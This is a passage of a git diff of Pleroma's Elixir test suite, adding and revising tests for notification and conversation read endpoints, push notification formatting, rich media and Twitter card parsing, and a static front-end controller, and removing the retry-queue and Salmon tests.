+ assert other_user in participation.recipients
+ end
+
+ test "POST /api/v1/pleroma/conversations/read" do
+ user = insert(:user)
+ %{user: other_user, conn: conn} = oauth_access(["write:notifications"])
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{"status" => "Hi @#{other_user.nickname}", "visibility" => "direct"})
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{"status" => "Hi @#{other_user.nickname}", "visibility" => "direct"})
+
+ [participation2, participation1] = Participation.for_user(other_user)
+ assert Participation.get(participation2.id).read == false
+ assert Participation.get(participation1.id).read == false
+ assert User.get_cached_by_id(other_user.id).unread_conversation_count == 2
+
+ [%{"unread" => false}, %{"unread" => false}] =
+ conn
+ |> post("/api/v1/pleroma/conversations/read", %{})
+ |> json_response(200)
+
+ [participation2, participation1] = Participation.for_user(other_user)
+ assert Participation.get(participation2.id).read == true
+ assert Participation.get(participation1.id).read == true
+ assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0
+ end
+
+ describe "POST /api/v1/pleroma/notifications/read" do
+ setup do: oauth_access(["write:notifications"])
+
+ test "it marks a single notification as read", %{user: user1, conn: conn} do
+ user2 = insert(:user)
+ {:ok, activity1} = CommonAPI.post(user2, %{"status" => "hi @#{user1.nickname}"})
+ {:ok, activity2} = CommonAPI.post(user2, %{"status" => "hi @#{user1.nickname}"})
+ {:ok, [notification1]} = Notification.create_notifications(activity1)
+ {:ok, [notification2]} = Notification.create_notifications(activity2)
+
+ response =
+ conn
+ |> post("/api/v1/pleroma/notifications/read", %{"id" => "#{notification1.id}"})
+ |> json_response(:ok)
+
+ assert %{"pleroma" => %{"is_seen" => true}} = response
+ assert Repo.get(Notification, notification1.id).seen
+ refute Repo.get(Notification, notification2.id).seen
+ end
+
+ test "it marks multiple notifications as read", %{user: user1, conn: conn} do
+ user2 = insert(:user)
+ {:ok, _activity1} = CommonAPI.post(user2, %{"status" => "hi @#{user1.nickname}"})
+ {:ok, _activity2} = CommonAPI.post(user2, %{"status" => "hi @#{user1.nickname}"})
+ {:ok, _activity3} = CommonAPI.post(user2, %{"status" => "HIE @#{user1.nickname}"})
+
+ [notification3, notification2, notification1] = Notification.for_user(user1, %{limit: 3})
+
+ [response1, response2] =
+ conn
+ |> post("/api/v1/pleroma/notifications/read", %{"max_id" => "#{notification2.id}"})
+ |> json_response(:ok)
+
+ assert %{"pleroma" => %{"is_seen" => true}} = response1
+ assert %{"pleroma" => %{"is_seen" => true}} = response2
+ assert Repo.get(Notification, notification1.id).seen
+ assert Repo.get(Notification, notification2.id).seen
+ refute Repo.get(Notification, notification3.id).seen
+ end
+
+ test "it returns error when notification not found", %{conn: conn} do
+ response =
+ conn
+ |> post("/api/v1/pleroma/notifications/read", %{"id" => "22222222222222"})
+ |> json_response(:bad_request)
+
+ assert response == %{"error" => "Cannot get notification"}
+ end
+ end
+end
diff --git a/test/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/web/pleroma_api/controllers/scrobble_controller_test.exs
new file mode 100644
index 000000000..2242610f1
--- /dev/null
+++ b/test/web/pleroma_api/controllers/scrobble_controller_test.exs
@@ -0,0 +1,58 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Web.CommonAPI
+
+ describe "POST /api/v1/pleroma/scrobble" do
+ test "works correctly" do
+ %{conn: conn} = oauth_access(["write"])
+
+ conn =
+ post(conn, "/api/v1/pleroma/scrobble", %{
+ "title" => "lain radio episode 1",
+ "artist" => "lain",
+ "album" => "lain radio",
+ "length" => "180000"
+ })
+
+ assert %{"title" => "lain radio episode 1"} = json_response(conn, 200)
+ end
+ end
+
+ describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do
+ test "works correctly" do
+ %{user: user, conn: conn} = oauth_access(["read"])
+
+ {:ok, _activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 1",
+ "artist" => "lain",
+ "album" => "lain radio"
+ })
+
+ {:ok, _activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 2",
+ "artist" => "lain",
+ "album" => "lain radio"
+ })
+
+ {:ok, _activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 3",
+ "artist" => "lain",
+ "album" => "lain radio"
+ })
+
+ conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/scrobbles")
+
+ result = json_response(conn, 200)
+
+ assert length(result) == 3
+ end
+ end
+end
diff --git a/test/web/plugs/federating_plug_test.exs b/test/web/plugs/federating_plug_test.exs
index c01e01124..9dcab93da 100644
--- a/test/web/plugs/federating_plug_test.exs
+++ b/test/web/plugs/federating_plug_test.exs
@@ -1,18 +1,10 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatingPlugTest do
use Pleroma.Web.ConnCase
-
- setup_all do
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
-
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
- :ok
- end
+ clear_config_all([:instance, :federating])
test "returns and halt the conn when federating is disabled" do
Pleroma.Config.put([:instance, :federating], false)
diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs
index 1e948086a..acae7a734 100644
--- a/test/web/push/impl_test.exs
+++ b/test/web/push/impl_test.exs
@@ -1,11 +1,12 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Push.ImplTest do
use Pleroma.DataCase
alias Pleroma.Object
+ alias Pleroma.User
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Push.Impl
alias Pleroma.Web.Push.Subscription
@@ -84,7 +85,7 @@ defmodule Pleroma.Web.Push.ImplTest do
) == :error
end
- test "delete subsciption if restult send message between 400..500" do
+ test "delete subscription if result send message between 400..500" do
subscription = insert(:push_subscription)
assert Impl.push_message(
@@ -97,7 +98,7 @@ defmodule Pleroma.Web.Push.ImplTest do
refute Pleroma.Repo.get(Subscription, subscription.id)
end
- test "renders body for create activity" do
+ test "renders title and body for create activity" do
user = insert(:user, nickname: "Bob")
{:ok, activity} =
@@ -116,19 +117,24 @@ defmodule Pleroma.Web.Push.ImplTest do
object
) ==
"@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."
+
+ assert Impl.format_title(%{activity: activity}) ==
+ "New Mention"
end
- test "renders body for follow activity" do
+ test "renders title and body for follow activity" do
user = insert(:user, nickname: "Bob")
other_user = insert(:user)
{:ok, _, _, activity} = CommonAPI.follow(user, other_user)
object = Object.normalize(activity)
- assert Impl.format_body(%{activity: activity}, user, object) ==
- "@Bob has followed you"
+ assert Impl.format_body(%{activity: activity}, user, object) == "@Bob has followed you"
+
+ assert Impl.format_title(%{activity: activity}) ==
+ "New Follower"
end
- test "renders body for announce activity" do
+ test "renders title and body for announce activity" do
user = insert(:user)
{:ok, activity} =
@@ -142,9 +148,12 @@ defmodule Pleroma.Web.Push.ImplTest do
assert Impl.format_body(%{activity: announce_activity}, user, object) ==
"@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."
+
+ assert Impl.format_title(%{activity: announce_activity}) ==
+ "New Repeat"
end
- test "renders body for like activity" do
+ test "renders title and body for like activity" do
user = insert(:user, nickname: "Bob")
{:ok, activity} =
@@ -156,7 +165,68 @@ defmodule Pleroma.Web.Push.ImplTest do
{:ok, activity, _} = CommonAPI.favorite(activity.id, user)
object = Object.normalize(activity)
- assert Impl.format_body(%{activity: activity}, user, object) ==
- "@Bob has favorited your post"
+ assert Impl.format_body(%{activity: activity}, user, object) == "@Bob has favorited your post"
+
+ assert Impl.format_title(%{activity: activity}) ==
+ "New Favorite"
+ end
+
+ test "renders title for create activity with direct visibility" do
+ user = insert(:user, nickname: "Bob")
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "visibility" => "direct",
+ "status" => "This is just between you and me, pal"
+ })
+
+ assert Impl.format_title(%{activity: activity}) ==
+ "New Direct Message"
+ end
+
+ describe "build_content/3" do
+ test "returns info content for direct message with enabled privacy option" do
+ user = insert(:user, nickname: "Bob")
+ user2 = insert(:user, nickname: "Rob", notification_settings: %{privacy_option: true})
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "visibility" => "direct",
+ "status" => "<Lorem ipsum dolor sit amet."
+ })
+
+ notif = insert(:notification, user: user2, activity: activity)
+
+ actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
+ object = Object.normalize(activity)
+
+ assert Impl.build_content(notif, actor, object) == %{
+ body: "@Bob",
+ title: "New Direct Message"
+ }
+ end
+
+ test "returns regular content for direct message with disabled privacy option" do
+ user = insert(:user, nickname: "Bob")
+ user2 = insert(:user, nickname: "Rob", notification_settings: %{privacy_option: false})
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "visibility" => "direct",
+ "status" =>
+ "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
+ })
+
+ notif = insert(:notification, user: user2, activity: activity)
+
+ actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
+ object = Object.normalize(activity)
+
+ assert Impl.build_content(notif, actor, object) == %{
+ body:
+ "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...",
+ title: "New Direct Message"
+ }
+ end
end
end
diff --git a/test/web/rel_me_test.exs b/test/web/rel_me_test.exs
index 85515c432..77b5d5dc6 100644
--- a/test/web/rel_me_test.exs
+++ b/test/web/rel_me_test.exs
@@ -5,33 +5,8 @@
defmodule Pleroma.Web.RelMeTest do
use ExUnit.Case, async: true
- setup do
- Tesla.Mock.mock(fn
- %{
- method: :get,
- url: "http://example.com/rel_me/anchor"
- } ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_anchor.html")}
-
- %{
- method: :get,
- url: "http://example.com/rel_me/anchor_nofollow"
- } ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_anchor_nofollow.html")}
-
- %{
- method: :get,
- url: "http://example.com/rel_me/link"
- } ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_link.html")}
-
- %{
- method: :get,
- url: "http://example.com/rel_me/null"
- } ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_null.html")}
- end)
-
+ setup_all do
+ Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
:ok
end
@@ -39,7 +14,9 @@ defmodule Pleroma.Web.RelMeTest do
hrefs = ["https://social.example.org/users/lain"]
assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/null") == {:ok, []}
- assert {:error, _} = Pleroma.Web.RelMe.parse("http://example.com/rel_me/error")
+
+ assert {:ok, %Tesla.Env{status: 404}} =
+ Pleroma.Web.RelMe.parse("http://example.com/rel_me/error")
assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/link") == {:ok, hrefs}
assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor") == {:ok, hrefs}
diff --git a/test/web/retry_queue_test.exs b/test/web/retry_queue_test.exs
deleted file mode 100644
index ecb3ce5d0..000000000
--- a/test/web/retry_queue_test.exs
+++ /dev/null
@@ -1,48 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule MockActivityPub do
- def publish_one({ret, waiter}) do
- send(waiter, :complete)
- {ret, "success"}
- end
-end
-
-defmodule Pleroma.Web.Federator.RetryQueueTest do
- use Pleroma.DataCase
- alias Pleroma.Web.Federator.RetryQueue
-
- @small_retry_count 0
- @hopeless_retry_count 10
-
- setup do
- RetryQueue.reset_stats()
- end
-
- test "RetryQueue responds to stats request" do
- assert %{delivered: 0, dropped: 0} == RetryQueue.get_stats()
- end
-
- test "failed posts are retried" do
- {:retry, _timeout} = RetryQueue.get_retry_params(@small_retry_count)
-
- wait_task =
- Task.async(fn ->
- receive do
- :complete -> :ok
- end
- end)
-
- RetryQueue.enqueue({:ok, wait_task.pid}, MockActivityPub, @small_retry_count)
- Task.await(wait_task)
- assert %{delivered: 1, dropped: 0} == RetryQueue.get_stats()
- end
-
- test "posts that have been tried too many times are dropped" do
- {:drop, _timeout} = RetryQueue.get_retry_params(@hopeless_retry_count)
-
- RetryQueue.enqueue({:ok, nil}, MockActivityPub, @hopeless_retry_count)
- assert %{delivered: 0, dropped: 1} == RetryQueue.get_stats()
- end
-end
diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs
index 122787bc2..a3a50cbb1 100644
--- a/test/web/rich_media/aws_signed_url_test.exs
+++ b/test/web/rich_media/aws_signed_url_test.exs
@@ -60,7 +60,8 @@ defmodule Pleroma.Web.RichMedia.TTL.AwsSignedUrlTest do
{:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url)
# as there is delay in setting and pulling the data from cache we ignore 1 second
- assert_in_delta(valid_till * 1000, cache_ttl, 1000)
+ # make it 2 seconds for flakyness
+ assert_in_delta(valid_till * 1000, cache_ttl, 2000)
end
defp construct_s3_url(timestamp, valid_till) do
diff --git a/test/web/rich_media/helpers_test.exs b/test/web/rich_media/helpers_test.exs
index 92198f3d9..48884319d 100644
--- a/test/web/rich_media/helpers_test.exs
+++ b/test/web/rich_media/helpers_test.exs
@@ -15,12 +15,12 @@ defmodule Pleroma.Web.RichMedia.HelpersTest do
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
- rich_media = Config.get([:rich_media, :enabled])
- on_exit(fn -> Config.put([:rich_media, :enabled], rich_media) end)
:ok
end
+ clear_config([:rich_media, :enabled])
+
test "refuses to crawl incomplete URLs" do
user = insert(:user)
diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs
index 19c19e895..b75bdf96f 100644
--- a/test/web/rich_media/parser_test.exs
+++ b/test/web/rich_media/parser_test.exs
@@ -59,7 +59,8 @@ defmodule Pleroma.Web.RichMedia.ParserTest do
test "doesn't just add a title" do
assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/non-ogp") ==
- {:error, "Found metadata was invalid or incomplete: %{}"}
+ {:error,
+ "Found metadata was invalid or incomplete: %{url: \"http://example.com/non-ogp\"}"}
end
test "parses ogp" do
@@ -71,7 +72,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do
description:
"Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
type: "video.movie",
- url: "http://www.imdb.com/title/tt0117500/"
+ url: "http://example.com/ogp"
}}
end
@@ -84,7 +85,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do
description:
"Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
type: "video.movie",
- url: "http://www.imdb.com/title/tt0117500/"
+ url: "http://example.com/ogp-missing-title"
}}
end
@@ -96,7 +97,8 @@ defmodule Pleroma.Web.RichMedia.ParserTest do
site: "@flickr",
image: "https://farm6.staticflickr.com/5510/14338202952_93595258ff_z.jpg",
title: "Small Island Developing States Photo Submission",
- description: "View the album on Flickr."
+ description: "View the album on Flickr.",
+ url: "http://example.com/twitter-card"
}}
end
@@ -120,7 +122,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do
thumbnail_width: 150,
title: "Bacon Lollys",
type: "photo",
- url: "https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_b.jpg",
+ url: "http://example.com/oembed",
version: "1.0",
web_page: "https://www.flickr.com/photos/bees/2362225867/",
web_page_short_url: "https://flic.kr/p/4AK2sc",
diff --git a/test/web/rich_media/parsers/twitter_card_test.exs b/test/web/rich_media/parsers/twitter_card_test.exs
new file mode 100644
index 000000000..f8e1c9b40
--- /dev/null
+++ b/test/web/rich_media/parsers/twitter_card_test.exs
@@ -0,0 +1,69 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.RichMedia.Parsers.TwitterCardTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Web.RichMedia.Parsers.TwitterCard
+
+ test "returns error when html not contains twitter card" do
+ assert TwitterCard.parse("", %{}) == {:error, "No twitter card metadata found"}
+ end
+
+ test "parses twitter card with only name attributes" do
+ html = File.read!("test/fixtures/nypd-facial-recognition-children-teenagers3.html")
+
+ assert TwitterCard.parse(html, %{}) ==
+ {:ok,
+ %{
+ "app:id:googleplay": "com.nytimes.android",
+ "app:name:googleplay": "NYTimes",
+ "app:url:googleplay": "nytimes://reader/id/100000006583622",
+ site: nil,
+ title:
+ "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database. - The New York Times"
+ }}
+ end
+
+ test "parses twitter card with only property attributes" do
+ html = File.read!("test/fixtures/nypd-facial-recognition-children-teenagers2.html")
+
+ assert TwitterCard.parse(html, %{}) ==
+ {:ok,
+ %{
+ card: "summary_large_image",
+ description:
+ "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.",
+ image:
+ "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg",
+ "image:alt": "",
+ title:
+ "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.",
+ url:
+ "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"
+ }}
+ end
+
+ test "parses twitter card with name & property attributes" do
+ html = File.read!("test/fixtures/nypd-facial-recognition-children-teenagers.html")
+
+ assert TwitterCard.parse(html, %{}) ==
+ {:ok,
+ %{
+ "app:id:googleplay": "com.nytimes.android",
+ "app:name:googleplay": "NYTimes",
+ "app:url:googleplay": "nytimes://reader/id/100000006583622",
+ card: "summary_large_image",
+ description:
+ "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.",
+ image:
+ "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg",
+ "image:alt": "",
+ site: nil,
+ title:
+ "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.",
+ url:
+ "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"
+ }}
+ end
+end
diff --git a/test/web/salmon/salmon_test.exs b/test/web/salmon/salmon_test.exs
deleted file mode 100644
index e86e76fe9..000000000
--- a/test/web/salmon/salmon_test.exs
+++ /dev/null
@@ -1,101 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.Salmon.SalmonTest do
- use Pleroma.DataCase
- alias Pleroma.Activity
- alias Pleroma.Keys
- alias Pleroma.Repo
- alias Pleroma.User
- alias Pleroma.Web.Federator.Publisher
- alias Pleroma.Web.Salmon
- import Mock
- import Pleroma.Factory
-
- @magickey "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwQhh-1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
-
- @wrong_magickey "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwQhh-1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAA"
-
- @magickey_friendica "RSA.AMwa8FUs2fWEjX0xN7yRQgegQffhBpuKNC6fa5VNSVorFjGZhRrlPMn7TQOeihlc9lBz2OsHlIedbYn2uJ7yCs0.AQAB"
-
- setup_all do
- Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- test "decodes a salmon" do
- {:ok, salmon} = File.read("test/fixtures/salmon.xml")
- {:ok, doc} = Salmon.decode_and_validate(@magickey, salmon)
- assert Regex.match?(~r/xml/, doc)
- end
-
- test "errors on wrong magic key" do
- {:ok, salmon} = File.read("test/fixtures/salmon.xml")
- assert Salmon.decode_and_validate(@wrong_magickey, salmon) == :error
- end
-
- test "it encodes a magic key from a public key" do
- key = Salmon.decode_key(@magickey)
- magic_key = Salmon.encode_key(key)
-
- assert @magickey == magic_key
- end
-
- test "it decodes a friendica public key" do
- _key = Salmon.decode_key(@magickey_friendica)
- end
-
- test "encodes an xml payload with a private key" do
- doc = File.read!("test/fixtures/incoming_note_activity.xml")
- pem = File.read!("test/fixtures/private_key.pem")
- {:ok, private, public} = Keys.keys_from_pem(pem)
-
- # Let's try a roundtrip.
- {:ok, salmon} = Salmon.encode(private, doc)
- {:ok, decoded_doc} = Salmon.decode_and_validate(Salmon.encode_key(public), salmon)
-
- assert doc == decoded_doc
- end
-
- test "it gets a magic key" do
- salmon = File.read!("test/fixtures/salmon2.xml")
- {:ok, key} = Salmon.fetch_magic_key(salmon)
-
- assert key ==
- "RSA.uzg6r1peZU0vXGADWxGJ0PE34WvmhjUmydbX5YYdOiXfODVLwCMi1umGoqUDm-mRu4vNEdFBVJU1CpFA7dKzWgIsqsa501i2XqElmEveXRLvNRWFB6nG03Q5OUY2as8eE54BJm0p20GkMfIJGwP6TSFb-ICp3QjzbatuSPJ6xCE=.AQAB"
- end
-
- test_with_mock "it pushes an activity to remote accounts it's addressed to",
- Publisher,
- [:passthrough],
- [] do
- user_data = %{
- info: %{
- salmon: "http://test-example.org/salmon"
- },
- local: false
- }
-
- mentioned_user = insert(:user, user_data)
- note = insert(:note)
-
- activity_data = %{
- "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
- "type" => "Create",
- "actor" => note.data["actor"],
- "to" => note.data["to"] ++ [mentioned_user.ap_id],
- "object" => note.data,
- "published_at" => DateTime.utc_now() |> DateTime.to_iso8601(),
- "context" => note.data["context"]
- }
-
- {:ok, activity} = Repo.insert(%Activity{data: activity_data, recipients: activity_data["to"]})
- user = User.get_cached_by_ap_id(activity.data["actor"])
- {:ok, user} = User.ensure_keys_present(user)
-
- Salmon.publish(user, activity)
-
- assert called(Publisher.enqueue_one(Salmon, %{recipient: mentioned_user}))
- end
-end
diff --git a/test/web/static_fe/static_fe_controller_test.exs b/test/web/static_fe/static_fe_controller_test.exs
new file mode 100644
index 000000000..2ce8f9fa3
--- /dev/null
+++ b/test/web/static_fe/static_fe_controller_test.exs
@@ -0,0 +1,210 @@
+defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do
+ use Pleroma.Web.ConnCase
+ alias Pleroma.Activity
+ alias Pleroma.Web.ActivityPub.Transmogrifier
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ clear_config_all([:static_fe, :enabled]) do
+ Pleroma.Config.put([:static_fe, :enabled], true)
+ end
+
+ describe "user profile page" do
+ test "just the profile as HTML", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/users/#{user.nickname}")
+
+ assert html_response(conn, 200) =~ user.nickname
+ end
+
+ test "renders json unless there's an html accept header", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> get("/users/#{user.nickname}")
+
+ assert json_response(conn, 200)
+ end
+
+ test "404 when user not found", %{conn: conn} do
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/users/limpopo")
+
+ assert html_response(conn, 404) =~ "not found"
+ end
+
+ test "profile does not include private messages", %{conn: conn} do
+ user = insert(:user)
+ CommonAPI.post(user, %{"status" => "public"})
+ CommonAPI.post(user, %{"status" => "private", "visibility" => "private"})
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/users/#{user.nickname}")
+
+ html = html_response(conn, 200)
+
+ assert html =~ ">public<"
+ refute html =~ ">private<"
+ end
+
+ test "pagination", %{conn: conn} do
+ user = insert(:user)
+ Enum.map(1..30, fn i -> CommonAPI.post(user, %{"status" => "test#{i}"}) end)
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/users/#{user.nickname}")
+
+ html = html_response(conn, 200)
+
+ assert html =~ ">test30<"
+ assert html =~ ">test11<"
+ refute html =~ ">test10<"
+ refute html =~ ">test1<"
+ end
+
+ test "pagination, page 2", %{conn: conn} do
+ user = insert(:user)
+ activities = Enum.map(1..30, fn i -> CommonAPI.post(user, %{"status" => "test#{i}"}) end)
+ {:ok, a11} = Enum.at(activities, 11)
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/users/#{user.nickname}?max_id=#{a11.id}")
+
+ html = html_response(conn, 200)
+
+ assert html =~ ">test1<"
+ assert html =~ ">test10<"
+ refute html =~ ">test20<"
+ refute html =~ ">test29<"
+ end
+ end
+
+ describe "notice rendering" do
+ test "single notice page", %{conn: conn} do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "testing a thing!"})
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/#{activity.id}")
+
+ html = html_response(conn, 200)
+ assert html =~ "<header>"
+ assert html =~ user.nickname
+ assert html =~ "testing a thing!"
+ end
+
+ test "shows the whole thread", %{conn: conn} do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "space: the final frontier"})
+
+ CommonAPI.post(user, %{
+ "status" => "these are the voyages or something",
+ "in_reply_to_status_id" => activity.id
+ })
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/#{activity.id}")
+
+ html = html_response(conn, 200)
+ assert html =~ "the final frontier"
+ assert html =~ "voyages"
+ end
+
+ test "redirect by AP object ID", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, %Activity{data: %{"object" => object_url}}} =
+ CommonAPI.post(user, %{"status" => "beam me up"})
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get(URI.parse(object_url).path)
+
+ assert html_response(conn, 302) =~ "redirected"
+ end
+
+ test "redirect by activity ID", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, %Activity{data: %{"id" => id}}} =
+ CommonAPI.post(user, %{"status" => "I'm a doctor, not a devops!"})
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get(URI.parse(id).path)
+
+ assert html_response(conn, 302) =~ "redirected"
+ end
+
+ test "404 when notice not found", %{conn: conn} do
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/88c9c317")
+
+ assert html_response(conn, 404) =~ "not found"
+ end
+
+ test "404 for private status", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "don't show me!", "visibility" => "private"})
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/#{activity.id}")
+
+ assert html_response(conn, 404) =~ "not found"
+ end
+
+ test "302 for remote cached status", %{conn: conn} do
+ user = insert(:user)
+
+ message = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "to" => user.follower_address,
+ "cc" => "https://www.w3.org/ns/activitystreams#Public",
+ "type" => "Create",
+ "object" => %{
+ "content" => "blah blah blah",
+ "type" => "Note",
+ "attributedTo" => user.ap_id,
+ "inReplyTo" => nil
+ },
+ "actor" => user.ap_id
+ }
+
+ assert {:ok, activity} = Transmogrifier.handle_incoming(message)
+
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/#{activity.id}")
+
+ assert html_response(conn, 302) =~ "redirected"
+ end
+ end
+end
diff --git a/test/web/streamer/ping_test.exs b/test/web/streamer/ping_test.exs
new file mode 100644
index 000000000..3d52c00e4
--- /dev/null
+++ b/test/web/streamer/ping_test.exs
@@ -0,0 +1,36 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PingTest do
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+ alias Pleroma.Web.Streamer
+
+ setup do
+ start_supervised({Streamer.supervisor(), [ping_interval: 30]})
+
+ :ok
+ end
+
+ describe "sockets" do
+ setup do
+ user = insert(:user)
+ {:ok, %{user: user}}
+ end
+
+ test "it sends pings", %{user: user} do
+ task =
+ Task.async(fn ->
+ assert_receive {:text, received_event}, 40
+ assert_receive {:text, received_event}, 40
+ assert_receive {:text, received_event}, 40
+ end)
+
+ Streamer.add_socket("public", %{transport_pid: task.pid, assigns: %{user: user}})
+
+ Task.await(task)
+ end
+ end
+end
diff --git a/test/web/streamer/state_test.exs b/test/web/streamer/state_test.exs
new file mode 100644
index 000000000..d1aeac541
--- /dev/null
+++ b/test/web/streamer/state_test.exs
@@ -0,0 +1,54 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.StateTest do
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
